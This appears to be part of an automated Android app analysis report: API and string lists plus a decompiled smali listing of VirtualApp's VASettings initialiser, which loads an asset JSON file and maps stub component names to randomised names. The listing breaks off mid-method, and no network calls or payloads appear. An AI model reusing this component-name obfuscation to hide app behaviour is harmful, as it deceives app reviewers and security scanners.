                              • org.json.JSONObject.optString
                              • java.util.Locale.ENGLISH:Ljava/util/Locale
                              • java.lang.Class.getName
                              • java.lang.Integer.valueOf
                              • java.lang.String.format
                              • java.util.HashMap.put
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • org.json.JSONObject.optString
                              • java.lang.String.length
                              • java.lang.String.substring
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.HashMap.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.Class.getName
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • org.json.JSONObject.optString
                              • java.util.HashMap.put
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.NoSuchMethodException.printStackTrace
                              • java.lang.IllegalAccessException.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              • org.json.JSONException.printStackTrace
                              • java.io.IOException.printStackTrace
                              • java.lang.Exception.printStackTrace
                              Strings
                              • .
                              • rp
                              • mp
                              • C
                              • StubActivity
                              • %s$C%d
                              • StubDialogActivity
                              • StubProviderAuth
                              • StubContentProvider
                              • P
                              • VirProcess
                              • p
                              • ChooseAccountTypeActivity
                              • ChooserActivity
                              • ChooseTypeAndAccountActivity
                              • ResolverActivity
                              • ShortcutHandleActivity
                              • StubPendingActivity
                              • DaemonService
                              • DoInnerService
                              • StubPendingService
                              • StubJobService
                              • StubPendingReceiver
                              • BinderProvider
                              • BinderProviderAuth
                              • VKmProcess
                              • XNJ
                              • VirtualEnc
                              • DataEnc
                              • OptEnc
                              • UserEnc
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v8, 0x1
                              3sput-object p0, Lcom/lody/virtual/client/stub/VASettings;->mContext:Landroid/content/Context;
                              4try_start_4:
                              5sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              6if-nez v0, :cond_68
                              8invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              9move-result-object v0
                              11const-string v1, ""
                              13invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->list(Ljava/lang/String;)[Ljava/lang/String;
                              14move-result-object v4
                              15const/4 v1, 0x0
                              16array-length v5, v4
                              17move v3, v2
                              18goto_15: if-ge v3, v5, :cond_4f
                              19aget-object v0, v4, v3
                              21invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              22move-result-object v6
                              24invoke-virtual {v6, v0}, Landroid/content/res/AssetManager;->list(Ljava/lang/String;)[Ljava/lang/String;
                              25move-result-object v6
                              26array-length v6, v6
                              27if-ge v6, v8, :cond_4d
                              29const-string v6, "."
                              31invoke-virtual {v0, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              32move-result v6
                              33if-nez v6, :cond_4d
                              34if-nez v1, :cond_3b
                              36invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              37move-result-object v1
                              39invoke-virtual {v1, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              40move-result-object v0
                              41goto_36: add-int/lit8 v1, v3, 0x1
                              42move v3, v1
                              43move-object v1, v0
                              44goto/16 :goto_15
                              45cond_3b:
                              46invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              47move-result-object v6
                              49invoke-virtual {v6, v0}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              50move-result-object v0
                              52invoke-virtual {v1}, Ljava/io/InputStream;->available()I
                              53move-result v6
                              55invoke-virtual {v0}, Ljava/io/InputStream;->available()I
                              56move-result v7
                              57if-gt v6, v7, :cond_36
                              58cond_4d: move-object v0, v1
                              59goto/16 :goto_36
                              60cond_4f: new-instance v0, Lorg/json/JSONObject;
                              62invoke-static {v1}, Lcom/lody/virtual/client/stub/VASettings;->getConent(Ljava/io/InputStream;)Ljava/lang/String;
                              63move-result-object v1
                              65invoke-direct {v0, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              67const-string v1, "rp"
                              69invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              70move-result-object v1
                              71sput-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              73const-string v1, "mp"
                              75invoke-virtual {v0, v1}, Lorg/json/JSONObject;->optJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              76move-result-object v0
                              77sput-object v0, Lcom/lody/virtual/client/stub/VASettings;->_mp:Lorg/json/JSONObject;
                              78cond_68: move v1, v2
                              79goto_69: const/16 v0, 0x14
                              80if-ge v1, v0, :cond_1be
                              81new-instance v0, Ljava/lang/StringBuilder;
                              83invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              85const-string v2, "C"
                              87invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              88move-result-object v0
                              90invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              91move-result-object v0
                              93const-string v2, "StubActivity"
                              95invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              96move-result-object v0
                              98invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              99move-result-object v0
                              101sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              103const-string v3, ""
                              105invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              106move-result-object v2
                              108sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              110const-string v4, "%s$C%d"
                              111const/4 v5, 0x2
                              112new-array v5, v5, [Ljava/lang/Object;
                              113const/4 v6, 0x0
                              115sget-object v7, Lcom/lody/virtual/client/stub/VASettings;->STUB_ACTIVITY:Ljava/lang/String;
                              116aput-object v7, v5, v6
                              117const/4 v6, 0x1
                              119invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              120move-result-object v7
                              121aput-object v7, v5, v6
                              123invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              124move-result-object v3
                              126sget-object v4, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              128invoke-virtual {v4, v0, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              130sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              132invoke-virtual {v0, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              133new-instance v0, Ljava/lang/StringBuilder;
                              135invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              137const-string v2, "C"
                              139invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              140move-result-object v0
                              142invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              143move-result-object v0
                              145const-string v2, "StubDialogActivity"
                              147invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              148move-result-object v0
                              150invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              151move-result-object v0
                              153sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              155const-string v3, ""
                              157invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              158move-result-object v2
                              160sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              162const-string v4, "%s$C%d"
                              163const/4 v5, 0x2
                              164new-array v5, v5, [Ljava/lang/Object;
                              165const/4 v6, 0x0
                              167sget-object v7, Lcom/lody/virtual/client/stub/VASettings;->STUB_DIALOG:Ljava/lang/String;
                              168aput-object v7, v5, v6
                              169const/4 v6, 0x1
                              171invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              172move-result-object v7
                              173aput-object v7, v5, v6
                              175invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              176move-result-object v3
                              178sget-object v4, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              180invoke-virtual {v4, v0, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              182sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              184invoke-virtual {v0, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              185new-instance v0, Ljava/lang/StringBuilder;
                              187invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              189const-string v2, "C"
                              191invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              192move-result-object v0
                              194invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              195move-result-object v0
                              197const-string v2, "StubProviderAuth"
                              199invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              200move-result-object v0
                              202invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              203move-result-object v0
                              205sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              207const-string v3, ""
                              209invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              210move-result-object v2
                              212sget-object v3, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              214invoke-virtual {v3, v0, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              215new-instance v0, Ljava/lang/StringBuilder;
                              217invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              219const-string v2, "C"
                              221invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              222move-result-object v0
                              224invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              225move-result-object v0
                              227const-string v2, "StubContentProvider"
                              229invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              230move-result-object v0
                              232invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              233move-result-object v0
                              235sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              237const-string v3, ""
                              239invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              240move-result-object v2
                              242sget-object v3, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
                              244const-string v4, "%s$C%d"
                              245const/4 v5, 0x2
                              246new-array v5, v5, [Ljava/lang/Object;
                              247const/4 v6, 0x0
                              248const-class v7, Lcom/tmk/ywb/service/StubContentProvider;
                              250invoke-virtual {v7}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              251move-result-object v7
                              252aput-object v7, v5, v6
                              253const/4 v6, 0x1
                              255invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              256move-result-object v7
                              257aput-object v7, v5, v6
                              259invoke-static {v3, v4, v5}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                              260move-result-object v3
                              262sget-object v4, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              264invoke-virtual {v4, v0, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              266sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              268invoke-virtual {v0, v2, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              269new-instance v0, Ljava/lang/StringBuilder;
                              271invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              273const-string v2, "P"
                              275invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              276move-result-object v0
                              278invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              279move-result-object v0
                              281const-string v2, "VirProcess"
                              283invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              284move-result-object v0
                              286invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              287move-result-object v0
                              289sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              291const-string v3, ""
                              293invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              294move-result-object v0
                              296invoke-virtual {v0}, Ljava/lang/String;->length()I
                              297move-result v2
                              298if-le v2, v8, :cond_189
                              299const/4 v2, 0x1
                              301invoke-virtual {v0, v2}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              302move-result-object v0
                              303cond_189:
                              304sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              305new-instance v3, Ljava/lang/StringBuilder;
                              307invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              309const-string v4, "p"
                              311invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              312move-result-object v3
                              314invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              315move-result-object v3
                              317invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              318move-result-object v3
                              320invoke-virtual {v2, v3, v0}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              322sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              323new-instance v3, Ljava/lang/StringBuilder;
                              325invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              327const-string v4, "p"
                              329invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              330move-result-object v3
                              332invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              333move-result-object v3
                              335invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              336move-result-object v3
                              338invoke-virtual {v2, v0, v3}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              339add-int/lit8 v0, v1, 0x1
                              340move v1, v0
                              341goto/16 :goto_69
                              342cond_1be:
                              343const-string v0, "ChooseAccountTypeActivity"
                              345sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              347const-string v2, ""
                              349invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              350move-result-object v1
                              352sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              354invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              356sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              357const-class v2, Lcom/tmk/ywb/activity/ChooseAccountTypeActivity;
                              359invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              360move-result-object v2
                              362invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              364const-string v0, "ChooserActivity"
                              366sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              368const-string v2, ""
                              370invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              371move-result-object v1
                              373sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              375invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              377sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              378const-class v2, Lcom/tmk/ywb/activity/ChooserActivity;
                              380invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              381move-result-object v2
                              383invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              385const-string v0, "ChooseTypeAndAccountActivity"
                              387sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              389const-string v2, ""
                              391invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              392move-result-object v1
                              394sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              396invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              398sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              399const-class v2, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;
                              401invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              402move-result-object v2
                              404invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              406const-string v0, "ResolverActivity"
                              408sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              410const-string v2, ""
                              412invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              413move-result-object v1
                              415sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              417invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              419sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              420const-class v2, Lcom/tmk/ywb/activity/ResolverActivity;
                              422invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              423move-result-object v2
                              425invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              427const-string v0, "ShortcutHandleActivity"
                              429sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              431const-string v2, ""
                              433invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              434move-result-object v1
                              436sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              438invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              440sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              441const-class v2, Lcom/tmk/ywb/activity/ShortcutHandleActivity;
                              443invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              444move-result-object v2
                              446invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              448const-string v0, "StubPendingActivity"
                              450sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              452const-string v2, ""
                              454invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              455move-result-object v1
                              457sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              459invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              461sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              462const-class v2, Lcom/tmk/ywb/activity/StubPendingActivity;
                              464invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              465move-result-object v2
                              467invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              469const-string v0, "DaemonService"
                              471sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              473const-string v2, ""
                              475invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              476move-result-object v1
                              478sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              480invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              482sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              483const-class v2, Lcom/tmk/ywb/service/DaemonService;
                              485invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              486move-result-object v2
                              488invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              490const-string v0, "DoInnerService"
                              492sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              494const-string v2, ""
                              496invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              497move-result-object v1
                              499sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              501invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              503sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              504const-class v2, Lcom/tmk/ywb/service/DaemonService$InnerService;
                              506invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              507move-result-object v2
                              509invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              511const-string v0, "StubPendingService"
                              513sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              515const-string v2, ""
                              517invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              518move-result-object v1
                              520sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              522invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              524sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              525const-class v2, Lcom/tmk/ywb/service/StubPendingService;
                              527invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              528move-result-object v2
                              530invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              532const-string v0, "StubJobService"
                              534sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              536const-string v2, ""
                              538invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              539move-result-object v1
                              541sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              543invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              545sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              546const-class v2, Lcom/tmk/ywb/service/StubJob;
                              548invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              549move-result-object v2
                              551invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              553const-string v0, "StubPendingReceiver"
                              555sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              557const-string v2, ""
                              559invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              560move-result-object v1
                              562sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              564invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              566sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              567const-class v2, Lcom/tmk/ywb/service/StubPendingReceiver;
                              569invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              570move-result-object v2
                              572invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              574const-string v0, "BinderProvider"
                              576sget-object v1, Lcom/lody/virtual/client/stub/VASettings;->_rp:Lorg/json/JSONObject;
                              578const-string v2, ""
                              580invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              581move-result-object v1
                              583sget-object v2, Lcom/lody/virtual/client/stub/VASettings;->indexToRandomMap:Ljava/util/HashMap;
                              585invoke-virtual {v2, v0, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              587sget-object v0, Lcom/lody/virtual/client/stub/VASettings;->randomToRealMap:Ljava/util/HashMap;
                              588const-class v2, Lcom/tmk/ywb/service/BinderProvider;
                              590invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              591move-result-object v2
                              593invoke-virtual {v0, v1, v2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              595const-string v0, "BinderProviderAuth"
